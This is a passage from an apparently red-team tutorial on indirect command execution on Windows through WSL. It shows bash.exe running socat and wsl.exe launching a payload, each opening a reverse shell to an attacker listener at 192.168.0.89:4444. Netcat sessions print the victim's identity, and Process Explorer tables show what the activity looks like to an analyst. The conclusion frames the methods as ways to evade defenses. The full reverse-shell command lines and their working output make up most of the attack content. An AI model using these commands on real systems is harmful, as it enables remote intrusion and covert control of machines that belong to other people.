vmtoolsd.exe	< 0.01	13,804 K	33,664 K	3652	VMware Tools Core Service
OneDrive.exe		20,908 K	61,388 K	4484	Microsoft OneDrive
procexp64.exe	1.56	18,560 K	39,456 K	4728	Sysinternals Process Explorer
nc64.exe	< 0.01	884 K	4,048 K	4040	
cmd.exe		1,600 K	2,932 K	1856	Windows Command Process...
cmd.exe		2,580 K	2,816 K	3888	Windows Command Process...
conhost.exe		15,200 K	21,404 K	924	Console Window Host
csrss.exe	< 0.01	1,200 K	3,696 K	4596	
winlogon.exe		1,784 K	8,460 K	1912	

Method 10 - WSL Only (bash.exe)

The next two methods are use-case specific. WSL stands for Windows Subsystem for Linux and can help a user install an instance of their favourite Linux distro onto Windows itself by creating a subsystem. Here, the victim has installed an Ubuntu instance in WSL. It can be installed by instructions provided here.

```

(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.189] 52142
sh: 0: can't access tty; job control turned off
$ id
id
uid=1000(hex) gid=1000(hex) groups=1000(hex),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44
(video),46(plugdev),117(netdev)
$ whoami
whoami
hex
$ uname -a
uname -a
Linux DESKTOP-E8AK5SR 4.4.0-19041-Microsoft #1237-Microsoft Sat Sep 11 14:32:00 PST 2021 x86_64 x86_64 x86_64 GNU/
Linux
$

```

If the victim has a WSL installed with socat package, bash.exe present in the system can be used to obtain a reverse shell like so:

```
bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"
```

```

C:\Users\Public>bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"
bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"

```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```

(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.189] 52142
sh: 0: can't access tty; job control turned off
$ id
id
uid=1000(hex) gid=1000(hex) groups=1000(hex),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44
(video),46(plugdev),117(netdev)
$ whoami
whoami
hex
$ uname -a
uname -a
Linux DESKTOP-E8AK5SR 4.4.0-19041-Microsoft #1237-Microsoft Sat Sep 11 14:32:00 PST 2021 x86_64 x86_64 x86_64 GNU/
Linux
$

```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, wsl.exe process has been launched under which conhost is initiated along with a socat and bash process. It is stealthy.

Process	CPU	Private Bytes	Working Set	PID	Description
Registry		14,320 K	89,788 K	124	
System Idle Process	79.98	60 K	8 K	0	
System	0.19	208 K	4,240 K	4	
csrss.exe		1,948 K	4,792 K	812	
wininit.exe		1,424 K	5,536 K	856	
csrss.exe	< 0.01	4,992 K	5,076 K	980	
winlogon.exe		2,940 K	11,432 K	688	
explorer.exe	0.38	80,860 K	1,49,396 K	2884	Windows Explorer
SecurityHealthSystray.exe		1,968 K	9,072 K	5392	Windows Security notification ...
vmware.exe	< 0.01	64,888 K	92,516 K	11092	VMware Workstation
vgtray.exe	< 0.01	2,244 K	9,716 K	6816	Vanguard tray notification.
notepad.exe		3,216 K	18,388 K	9616	Notepad
chrome.exe	< 0.01	1,52,420 K	2,42,908 K	6228	Google Chrome
cmd.exe		2,512 K	4,920 K	6892	Windows Command Process...
cmd.exe		2,272 K	4,432 K	3908	Windows Command Process...
conhost.exe		7,972 K	19,900 K	8968	Console Window Host
wsl.exe		1,200 K	6,468 K	11496	Microsoft Windows Subsystem...
wslhost.exe		1,176 K	6,300 K	11492	Microsoft Windows Subsystem...
conhost.exe		6,660 K	12,940 K	12176	Console Window Host
flameshot.exe		27,072 K	82,780 K	9796	Flameshot
RadeonSoftware.exe	< 0.01	1,77,144 K	44,616 K	3964	Radeon Software: Host Appli...
AMDRSServ.exe		6,048 K	89,564 K	9328	Radeon Settings: Host Service
procexp64.exe	0.38	34,504 K	56,052 K	12112	Sysinternals Process Explorer
bash		1,844 K	3,596 K	7812	
socat		840 K	1,972 K	2880	
dash		204 K	708 K	3956	

## Method 11 – WSL Only (wsl.exe)

Socat instance on a WSL is plausible but not necessary. However, an executable called wsl.exe is present by default in the Windows system where WSL is installed. This exe can be used to launch the exe present in WSL. This way, the shell will be launched indirectly.

```
wsl.exe -e /mnt/c/Users/Public/shell.exe
```

```
C:\Users\Public>wsl.exe -e /mnt/c/Users/Public/shell.exe
wsl.exe -e /mnt/c/Users/Public/shell.exe
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!



```

(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.189] 61435
Microsoft Windows [Version 10.0.19044.1586]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
desktop-e8ak5sr\a_cha

```

**Inspection in process explorer:** In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, wsl.exe process has been launched under which conhost is initiated along with a shell.exe process. It is not as stealthy as other methods.

Process Explorer - Sysinternals: [www.sysinternals.com](http://www.sysinternals.com) [DESKTOP-E8AK5SR\a\_cha]

File Options View Process Find Users Help

Process	CPU	Private Bytes	Working Set	PID	Description
Registry		11,380 K	90,716 K	124	
System Idle Process	68.75	60 K	8 K	0	
System	1.30	208 K	4,280 K	4	
Interrupts	1.30	0 K	0 K	n/a	Hardware Interrupts and DPCs
smss.exe		1,064 K	556 K	524	
Memory Compression		572 K	1,88,184 K	3176	
csrss.exe		1,968 K	5,028 K	812	
wininit.exe		1,424 K	5,536 K	856	
csrss.exe	< 0.01	5,596 K	5,352 K	980	
winlogon.exe		3,036 K	11,780 K	688	
fontdrvhost.exe		7,360 K	7,372 K	1196	
dwm.exe	0.56	73,012 K	64,072 K	1400	
explorer.exe	0.93	82,796 K	1,51,544 K	2884	Windows Explorer
SecurityHealthSystray.exe		2,044 K	9,196 K	5392	Windows Security notification ...
vmware.exe	< 0.01	66,568 K	81,480 K	11092	VMware Workstation
vgtray.exe	< 0.01	2,244 K	9,556 K	6816	Vanguard tray notification.
notepad.exe		3,052 K	17,824 K	9616	Notepad
chrome.exe	0.19	1,46,788 K	2,06,280 K	6228	Google Chrome
flameshot.exe	< 0.01	28,056 K	61,260 K	9796	Flameshot
cmd.exe		2,224 K	4,516 K	804	Windows Command Process...
conhost.exe		7,004 K	16,400 K	13804	Console Window Host
nc64.exe	< 0.01	968 K	4,660 K	2912	
cmd.exe		2,344 K	4,580 K	8488	Windows Command Process...
wsl.exe		1,244 K	6,528 K	3124	Microsoft Windows Subsyte...
wslhost.exe		1,136 K	6,268 K	9736	Microsoft Windows Subsyte...
conhost.exe		6,676 K	12,908 K	4792	Console Window Host
shell.exe		796 K	4,340 K	8940	ApacheBench command line ...
cmd.exe		2,696 K	5,388 K	13428	Windows Command Process...
conhost.exe		6,668 K	12,892 K	9232	Console Window Host
WinRAR.exe	< 0.01	17,208 K	61,144 K	4068	WinRAR archiver

## Conclusion

While some of the methods defined above are stealthy, others create some noise. Red Teamers must evaluate which method they want to use in order for them to conduct operations smoothly. The aim of the article was to demonstrate as many methods as possible for indirect command execution in order for a user to evade defenses easily. Hope you liked the article. Thanks for reading.